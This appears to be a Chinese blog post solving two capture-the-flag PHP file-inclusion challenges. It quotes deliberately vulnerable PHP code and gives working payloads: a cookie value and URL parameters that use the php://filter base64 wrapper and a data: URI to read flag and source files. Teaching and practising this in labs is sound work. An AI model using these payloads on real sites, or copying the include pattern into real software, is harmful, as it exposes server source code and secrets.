上一篇文章:一篇文章带你入门文件包含-CSDN博客
已经开始入门了文件包含,那现在开始拔高提升刷题!
1.
拿到题目后啥也没有,所以也不知道要读取啥文件,那就查看源代码。
直接看if的条件就可以知道一定要设置cookie,因为这里存在着文件包含,
看来我上一篇文章的就知道,直接伪协议开始读取,
?file=php://filter/read=convert.base64-encode/resource=xxx.php
这个是基本的格式啊,
这里因为要写入cookie,而且首页还提示了网站首页目录 /var/www/html/index.php,
那就稍作修改,抓包,添加cookie并且写入
language=php://filter/read=convert.base64-encode/resource=/var/www/html/flag
(2)
WRONG WAY! <?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET["file1"]) && isset($_GET["file2"]))
{
$file1 = $_GET["file1"];
$file2 = $_GET["file2"];
if(!empty($file1) && !empty($file2))
{
if(file_get_contents($file2) === "hello ctf")
{
include($file1);
}
}
else
die("NONONO");
}
提示:PHP file_get_contents () 函数
- 定义和用法 file_get_contents () 把整个文件读入一个字符串中。 该函数是用于把文件的内容读入到一个字符串中的首选方法。 如果服务器操作系统支持,还会使用内存映射技术来增强性能。
- 读了我上一篇文章的人拿到这道题目应该就可以直接出现思路了
- 其实就是存在两个文件,file1直接伪协议直接读取flag.php,没啥意思,file2就是伪协议,写入 hello ctf
- ?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=data:text/plain,hello ctf
- 这个payload在上一篇文章开头就有类似的,需要可以自行复制
-
上一篇文章:一篇文章带你入门文件包含-CSDN博客
-
祝大家CTF玩的开心